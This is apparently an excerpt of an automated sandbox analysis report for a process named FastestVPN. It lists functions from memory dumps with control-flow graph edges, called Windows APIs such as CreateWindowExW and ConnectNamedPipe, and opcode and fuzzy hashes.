                                                                                                                  control_flow_graph 1135 66d2d10-66d2d5f 1137 66d2d67-66d2d6d 1135->1137 1138 66d2d61-66d2d64 1135->1138 1139 66d2d6f-66d2d78 1137->1139 1140 66d2d7b-66d2dc3 CreateWindowExW 1137->1140 1138->1137 1139->1140 1141 66d2dcc-66d2de9 1140->1141 1142 66d2dc5-66d2dcb 1140->1142 1142->1141
                                                                                                                  APIs
                                                                                                                  • CreateWindowExW.USER32(?,00000000,00000000,?,?,00000000,?,?,?,?,?,?), ref: 066D2DB6
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3418939454.00000000066D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066D0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_66d0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CreateWindow
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 716092398-0
                                                                                                                  • Opcode ID: 71bc549559bee6f928f1b8f751c8c99f7734a61551d0349801bcb578383435c5
                                                                                                                  • Instruction ID: 2901e9da562f1c6c2be6bb28ad4e8cf185985cee80f6bf41623b9bedd0a07824
                                                                                                                  • Opcode Fuzzy Hash: 71bc549559bee6f928f1b8f751c8c99f7734a61551d0349801bcb578383435c5
                                                                                                                  • Instruction Fuzzy Hash: 3F31E472D01619AFCF11CF99C884ADEBBB4FF4C714F118219EA18A7250C375A954CFA0
                                                                                                                  Function 01991FD8 Relevance: 1.6, APIs: 1, Instructions: 73pipeCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1121 1991fd8-1992ae6 ConnectNamedPipe 1124 1992ae8-1992aee 1121->1124 1125 1992aef-1992b37 1121->1125 1124->1125 1130 1992b39-1992b3d 1125->1130 1131 1992b47 1125->1131 1130->1131 1132 1992b3f-1992b42 call 19919e8 1130->1132 1134 1992b48 1131->1134 1132->1131 1134->1134
                                                                                                                  APIs
                                                                                                                  • ConnectNamedPipe.KERNEL32(?,?), ref: 01992AD6
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3391562356.0000000001990000.00000040.00000800.00020000.00000000.sdmp, Offset: 01990000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_1990000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ConnectNamedPipe
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2191148154-0
                                                                                                                  • Opcode ID: f131d282e2665b8ebb4305abd41183b6a3d2489a404167fc0a8274960b68c8e2
                                                                                                                  • Instruction ID: 0abe7002324433d200a58885d8fbef4569c0386aa9b9c9b4aa225e243a6706a4
                                                                                                                  • Opcode Fuzzy Hash: f131d282e2665b8ebb4305abd41183b6a3d2489a404167fc0a8274960b68c8e2
                                                                                                                  • Instruction Fuzzy Hash: 7D3122B1D01218EFDB24CF99D988B9EBBF5BF08310F208029E449BB390C7759845CBA4
                                                                                                                  Function 01992A3D Relevance: 1.6, APIs: 1, Instructions: 71pipeCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1145 1992a3d-1992ae6 ConnectNamedPipe 1149 1992ae8-1992aee 1145->1149 1150 1992aef-1992b37 1145->1150 1149->1150 1155 1992b39-1992b3d 1150->1155 1156 1992b47 1150->1156 1155->1156 1157 1992b3f-1992b42 call 19919e8 1155->1157 1159 1992b48 1156->1159 1157->1156 1159->1159
                                                                                                                  APIs
                                                                                                                  • ConnectNamedPipe.KERNEL32(?,?), ref: 01992AD6
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3391562356.0000000001990000.00000040.00000800.00020000.00000000.sdmp, Offset: 01990000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_1990000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ConnectNamedPipe
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2191148154-0
                                                                                                                  • Opcode ID: 045bb0bf7ff68a6279f1fab2dda8dcd7d7be9c5f7ed2cf33d264efeb78c14ee6
                                                                                                                  • Instruction ID: f5d7e8eb1dd29ce9f347bac3533d322c51a5366bbc9437683b67c3337c8757f9
                                                                                                                  • Opcode Fuzzy Hash: 045bb0bf7ff68a6279f1fab2dda8dcd7d7be9c5f7ed2cf33d264efeb78c14ee6
                                                                                                                  • Instruction Fuzzy Hash: 9A3111B0D01219EFDB28CF99D988B9EBBF1BF48310F248019E449BB290C7759845CBA1
                                                                                                                  Function 0BDBA768 Relevance: 1.4, Strings: 1, Instructions: 149COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1243 bdba768-bdba786 1244 bdba788-bdba78d 1243->1244 1245 bdba78f-bdba792 1243->1245 1246 bdba795-bdba7d9 call bdba910 1244->1246 1245->1246 1250 bdba7db-bdba7e1 1246->1250 1251 bdba7e6-bdba824 1246->1251 1252 bdba877-bdba899 1250->1252 1255 bdba82d-bdba830 1251->1255 1256 bdba826-bdba82b 1251->1256 1258 bdba89b-bdba89d 1252->1258 1259 bdba8a5-bdba8ab 1252->1259 1257 bdba833-bdba835 1255->1257 1256->1257 1260 bdba83b-bdba861 1257->1260 1261 bdba837-bdba839 1257->1261 1258->1259 1262 bdba8b9-bdba8c0 1259->1262 1263 bdba8ad-bdba8b6 1259->1263 1277 bdba873 1260->1277 1278 bdba863-bdba871 1260->1278 1264 bdba875 1261->1264 1265 bdba8d2-bdba8d9 1262->1265 1266 bdba8c2-bdba8c9 1262->1266 1264->1252 1269 bdba8db-bdba8df 1265->1269 1270 bdba8e1-bdba8e7 1265->1270 1266->1265 1268 bdba8cb 1266->1268 1268->1265 1271 bdba8f1-bdba8f8 call bdbb3c8 1269->1271 1270->1271 1272 bdba8e9-bdba8eb 1270->1272 1275 bdba8fe-bdba907 1271->1275 1272->1271 1274 bdba8ed 1272->1274 1274->1271 1277->1264 1278->1264
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID: @
                                                                                                                  • API String ID: 0-2766056989
                                                                                                                  • Opcode ID: ba7a6f9d0e2c8bf2c2c52412176b826721a1501a79c10d3e3b59e37a2f566fec
                                                                                                                  • Instruction ID: 408304a415f54ff4087b3c4ea0f56a3f47c982f9a87ef60c023f8761bb8ee907
                                                                                                                  • Opcode Fuzzy Hash: ba7a6f9d0e2c8bf2c2c52412176b826721a1501a79c10d3e3b59e37a2f566fec
                                                                                                                  • Instruction Fuzzy Hash: 54513C75A00215DFDB19CFA9C484AEEFBF1BF48320B14806AE916AB251DB30DE45DB90
                                                                                                                  Function 0BDBA757 Relevance: 1.3, Strings: 1, Instructions: 77COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1313 bdba757-bdba786 1314 bdba788-bdba78d 1313->1314 1315 bdba78f-bdba792 1313->1315 1316 bdba795-bdba7d9 call bdba910 1314->1316 1315->1316 1320 bdba7db-bdba7e1 1316->1320 1321 bdba7e6-bdba824 1316->1321 1322 bdba877-bdba899 1320->1322 1325 bdba82d-bdba830 1321->1325 1326 bdba826-bdba82b 1321->1326 1328 bdba89b-bdba89d 1322->1328 1329 bdba8a5-bdba8ab 1322->1329 1327 bdba833-bdba835 1325->1327 1326->1327 1330 bdba83b-bdba861 1327->1330 1331 bdba837-bdba839 1327->1331 1328->1329 1332 bdba8b9-bdba8c0 1329->1332 1333 bdba8ad-bdba8b6 1329->1333 1347 bdba873 1330->1347 1348 bdba863-bdba871 1330->1348 1334 bdba875 1331->1334 1335 bdba8d2-bdba8d9 1332->1335 1336 bdba8c2-bdba8c9 1332->1336 1334->1322 1339 bdba8db-bdba8df 1335->1339 1340 bdba8e1-bdba8e7 1335->1340 1336->1335 1338 bdba8cb 1336->1338 1338->1335 1341 bdba8f1-bdba8f8 call bdbb3c8 1339->1341 1340->1341 1342 bdba8e9-bdba8eb 1340->1342 1345 bdba8fe-bdba907 1341->1345 1342->1341 1344 bdba8ed 1342->1344 1344->1341 1347->1334 1348->1334
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID: @
                                                                                                                  • API String ID: 0-2766056989
                                                                                                                  • Opcode ID: 02b9b1f8070e3286e7bd93f842a9068d6247e15b41dbfc7d54d6870201b4619c
                                                                                                                  • Instruction ID: 42a331e877d4fddadb8cac60b9fefcb983d0a9b85154af63ba1f916957ce1ffa
                                                                                                                  • Opcode Fuzzy Hash: 02b9b1f8070e3286e7bd93f842a9068d6247e15b41dbfc7d54d6870201b4619c
                                                                                                                  • Instruction Fuzzy Hash: FB21AD76A04215DFCB15CFA9C880EEEBFF5EF88320B04806AE515DB251D734DA45DB90
                                                                                                                  Function 0C6C66A8 Relevance: .5, Instructions: 504COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 8835cb95b7169e3126d796a26f637019783823571cc7f695b71108651797bfdd
                                                                                                                  • Instruction ID: b67fb29760aa51384949f825ea7690cc9b43812a33be3007e1eebdea23caf9d7
                                                                                                                  • Opcode Fuzzy Hash: 8835cb95b7169e3126d796a26f637019783823571cc7f695b71108651797bfdd
                                                                                                                  • Instruction Fuzzy Hash: 52129A30701615CFCB24DF29C884A6AB7B1FF89704B2549ADE44ADB365CB31EC46CBA5
                                                                                                                  Function 0BDB9AF8 Relevance: .5, Instructions: 476COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 46ddca43d92acf720a90a45a7aad0304af13f5341caf55f30d783636dbeaa28f
                                                                                                                  • Instruction ID: c81e6c2cae5c2cf1dbd6f69fbc7ff62844255a1b995dada82c9154e411147d4c
                                                                                                                  • Opcode Fuzzy Hash: 46ddca43d92acf720a90a45a7aad0304af13f5341caf55f30d783636dbeaa28f
                                                                                                                  • Instruction Fuzzy Hash: 43225930A00746CFCB15DF69C5949AAFBF2FF88310B148A69E5468B755DB35EC82CB90
                                                                                                                  Function 0BDBBFC0 Relevance: .3, Instructions: 327COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 1e89797338b3cb2a234e2657671ec982b964313036e84dd7f58d05a278ac9f96
                                                                                                                  • Instruction ID: 298dac626d532e51fc721bf29c9f3b055ff79774ec9a30f23d8c66283c9cca0d
                                                                                                                  • Opcode Fuzzy Hash: 1e89797338b3cb2a234e2657671ec982b964313036e84dd7f58d05a278ac9f96
                                                                                                                  • Instruction Fuzzy Hash: 79D11475A10205DFCB05DF68D494E9AFBF2FF88320B198599E5469B362DB30ED42CB90
                                                                                                                  Function 0BDB1240 Relevance: .3, Instructions: 296COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: f90d4cf1f81b2497d3c1d4650599edbd403ad0f9861b71b7e385d111fb71e713
                                                                                                                  • Instruction ID: d95fe4a02f53f30e529d4b69392c87901e441e8dddec398a0f54009fb136c7ad
                                                                                                                  • Opcode Fuzzy Hash: f90d4cf1f81b2497d3c1d4650599edbd403ad0f9861b71b7e385d111fb71e713
                                                                                                                  • Instruction Fuzzy Hash: 4BB19D34720641CFC7248F2AC454EAAFBF6AF84720B14492DE587E7791EB30E945CB61
                                                                                                                  Function 0BDB4060 Relevance: .3, Instructions: 295COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 3a3b6e2ec0eddfa9acd46e4602a71fd686307ac9e4159818923570ba980d9134
                                                                                                                  • Instruction ID: 55c2b057c96d9f204543eb6c34ba7e1453446f6b160c4d5ba072f491f7d70452
                                                                                                                  • Opcode Fuzzy Hash: 3a3b6e2ec0eddfa9acd46e4602a71fd686307ac9e4159818923570ba980d9134
                                                                                                                  • Instruction Fuzzy Hash: C8B17C31B05240DFD716CB68C054EAAFBE3EF85360B5980AAD14A8B367DB31EC85DB51
                                                                                                                  Function 0BDB1C20 Relevance: .3, Instructions: 285COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 896755fd8ac1153c29cfae8d14bfc831ecd61fe5af22e244ceee2af3beb2c709
                                                                                                                  • Instruction ID: bfe15f3cc15f58e8f4e4030563f1683073c66b2a8ddf50fa1185777f3ca91ba6
                                                                                                                  • Opcode Fuzzy Hash: 896755fd8ac1153c29cfae8d14bfc831ecd61fe5af22e244ceee2af3beb2c709
                                                                                                                  • Instruction Fuzzy Hash: 8C915030720202CBDB196B3A8464BAAF6EBEFC4BA1B18403DD517E7394EE75C941D761
                                                                                                                  Function 0BDB8BC0 Relevance: .3, Instructions: 272COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 0b4430744778d462290c886b37d6bc4b70212ef6e87291b58612bbe68ad5f5f4
                                                                                                                  • Instruction ID: 711d8775d6384b24e945f419e171eddf49a5f37a12236fa5ee12eb8fbfe2f27b
                                                                                                                  • Opcode Fuzzy Hash: 0b4430744778d462290c886b37d6bc4b70212ef6e87291b58612bbe68ad5f5f4
                                                                                                                  • Instruction Fuzzy Hash: 29B15230604341CFD760CF19C584FA5FBEAEF41325F4884AAD48A8F6A2D776E984EB50
                                                                                                                  Function 0BDB73A7 Relevance: .3, Instructions: 252COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 6f1343a53e9b11d9a274f7ddb5969783a420605969bbb2526b2f018ec3c0f019
                                                                                                                  • Instruction ID: f624178aab16bb2bc23c5be8e290c3cdad129a96c02f2d5cfc7b29a780c2976d
                                                                                                                  • Opcode Fuzzy Hash: 6f1343a53e9b11d9a274f7ddb5969783a420605969bbb2526b2f018ec3c0f019
                                                                                                                  • Instruction Fuzzy Hash: 4FA18A71A0020ADFCB05DFA8D844AEEFBF5FB89310F14816AE515DB252D731DA56CB90
                                                                                                                  Function 0BDB02D8 Relevance: .2, Instructions: 248COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: b1bdbc93993bbe9fb0d0c1e4eba26b967c39907fb452362896b3de41c17bb9ce
                                                                                                                  • Instruction ID: 06367025dea9811d119fb20cf977321f51342804d6dcfe7d82cc006e48cae293
                                                                                                                  • Opcode Fuzzy Hash: b1bdbc93993bbe9fb0d0c1e4eba26b967c39907fb452362896b3de41c17bb9ce
                                                                                                                  • Instruction Fuzzy Hash: BA91C030B006029FDB05EF65D854AAEBBB6FFD8710B10882DE5069B3A4DF34DC069B91
                                                                                                                  Function 0BDB68F0 Relevance: .2, Instructions: 246COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 5404134edd88fd11bcb8bfea6c7dc737ebd4b54f5c1b5e50530d0d0e4d010135
                                                                                                                  • Instruction ID: b65c79f14217651ff8dcb8cbb115c7a8229111ad50e588588e292b000698e71a
                                                                                                                  • Opcode Fuzzy Hash: 5404134edd88fd11bcb8bfea6c7dc737ebd4b54f5c1b5e50530d0d0e4d010135
                                                                                                                  • Instruction Fuzzy Hash: 81A14870B00205DFCB19DFA4D894AAEFBB2FF88710F148069E9169B3A5DB35D941DB50
                                                                                                                  Function 0BDB5578 Relevance: .2, Instructions: 201COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: ea63299e7294b660d526a0254d903e0e223a5dd0dfbd1488cd03ae8c2dce8c2b
                                                                                                                  • Instruction ID: ca6212e30ecb0a3af8286cf97ff83aad5e04902225fcb73a6d22e9ec049e5ab5
                                                                                                                  • Opcode Fuzzy Hash: ea63299e7294b660d526a0254d903e0e223a5dd0dfbd1488cd03ae8c2dce8c2b
                                                                                                                  • Instruction Fuzzy Hash: 25815970700246CFCB25DF68D554AAAFBF2EF94728F14862DD9168B351DB30E946CB90
                                                                                                                  Function 0BDBB878 Relevance: .2, Instructions: 191COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 318349303c8912918b52637bb67f10c788db0a3271489e945b3634253ed3d8f4
                                                                                                                  • Instruction ID: ca534c6b1f93a2222cefbb46738fb56a65f859809e16911d14d9ca52bff1c559
                                                                                                                  • Opcode Fuzzy Hash: 318349303c8912918b52637bb67f10c788db0a3271489e945b3634253ed3d8f4
                                                                                                                  • Instruction Fuzzy Hash: B9713831A00254CFCB15DF24D858BAABBB2FF89315F1584AAE5468B361CB71DC81CB91
                                                                                                                  Function 0BDB0728 Relevance: .2, Instructions: 187COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 9096af82f44db8c829cb003695262d2273e8d0bcef88e86e8aad62d7ac6ab86b
                                                                                                                  • Instruction ID: cf2340763bdf324509a27836eeec7c40177abefac46c0bb6184b89279090dcf7
                                                                                                                  • Opcode Fuzzy Hash: 9096af82f44db8c829cb003695262d2273e8d0bcef88e86e8aad62d7ac6ab86b
                                                                                                                  • Instruction Fuzzy Hash: AC717C74B00300CFD718EF29C484A6ABBF2FF89710B5585A9D85A9B362DB30ED45CB90
                                                                                                                  Function 0BDB02BF Relevance: .2, Instructions: 178COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 1e97d27b09aca76fdb7567a67e3ca5375599779feddd6096683f2d41d5010987
                                                                                                                  • Instruction ID: 535d34142e89e96484073d7a9739910ed8343ee4eb8b8032ad2a50ed2854ac9e
                                                                                                                  • Opcode Fuzzy Hash: 1e97d27b09aca76fdb7567a67e3ca5375599779feddd6096683f2d41d5010987
                                                                                                                  • Instruction Fuzzy Hash: C4518F74B002059FDB44AF65D898AAEBBB7FFC8710F148429E906D7394DB38CC469B91
                                                                                                                  Function 0BDB5388 Relevance: .2, Instructions: 169COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: d41034021cb644eecc16d70a0b957f4aabc984645b56765102ea78ea1152948f
                                                                                                                  • Instruction ID: bd36c4c1efac62b7962c49ddd83222227aaa35da882685a7674dc70fd37ec0c4
                                                                                                                  • Opcode Fuzzy Hash: d41034021cb644eecc16d70a0b957f4aabc984645b56765102ea78ea1152948f
                                                                                                                  • Instruction Fuzzy Hash: 9A61C2B5A00259CFDB54CFA9D890A9EBBF6FF88354F10412AE919EB314E731D941CB60
                                                                                                                  Function 0BDB0978 Relevance: .2, Instructions: 168COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: d64bc4e404f3b16c95cc1e0e2e52cdacd150d3c42a1ba640d77d98eab901901c
                                                                                                                  • Instruction ID: 71387795267063a6468886c4999b537c7cb64041255de3fbb5dcb03ee4dc266b
                                                                                                                  • Opcode Fuzzy Hash: d64bc4e404f3b16c95cc1e0e2e52cdacd150d3c42a1ba640d77d98eab901901c
                                                                                                                  • Instruction Fuzzy Hash: AE714970A00306DFCB15DF69C484A9AFBF2FF49314B2485A9D45A9B362D770ED86CB90
                                                                                                                  Function 0BDB5567 Relevance: .2, Instructions: 165COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 526f4899706e914aea459bd32e7454f4832908bb554488dd674a77aed442620a
                                                                                                                  • Instruction ID: 4468f77a9f340338a86458592ed1efd7e2a23651559742b0a7498a6dca0cd11b
                                                                                                                  • Opcode Fuzzy Hash: 526f4899706e914aea459bd32e7454f4832908bb554488dd674a77aed442620a
                                                                                                                  • Instruction Fuzzy Hash: 45615B31701246CFDB21DF69D554AAAFBF2FF94324F148629D40687261DB70E946CB90
                                                                                                                  Function 0BDB5360 Relevance: .2, Instructions: 160COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: fe17fc181a29ea326033bc41e41d699b44fc44e2e92057cda8102975acff0665
                                                                                                                  • Instruction ID: 49097054c33143984c128f9bb6916d736820bf4e48bdcfb6fda1ed710de6129e
                                                                                                                  • Opcode Fuzzy Hash: fe17fc181a29ea326033bc41e41d699b44fc44e2e92057cda8102975acff0665
                                                                                                                  • Instruction Fuzzy Hash: 8F61E2B4A00259CFCB15CFA9D89099EBBF2FF88314B14406AE859EB355E731D941CB60
                                                                                                                  Function 0BDB3DD8 Relevance: .1, Instructions: 142COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 172e9b5de57e66e9b4132092c8870e8c8f8c4c61e8aa76193fbf3150db47fdd2
                                                                                                                  • Instruction ID: 8746c62034d7ce8032154e96fb6d9d6869e4d9495ca4b3d6dc1d7258986f4dc3
                                                                                                                  • Opcode Fuzzy Hash: 172e9b5de57e66e9b4132092c8870e8c8f8c4c61e8aa76193fbf3150db47fdd2
                                                                                                                  • Instruction Fuzzy Hash: 1541B331305642EBD7254B398400EA7F7F6AF88BB0F54492EE597C6384DB35E880E759
                                                                                                                  Function 0BDB8021 Relevance: .1, Instructions: 137COMMON
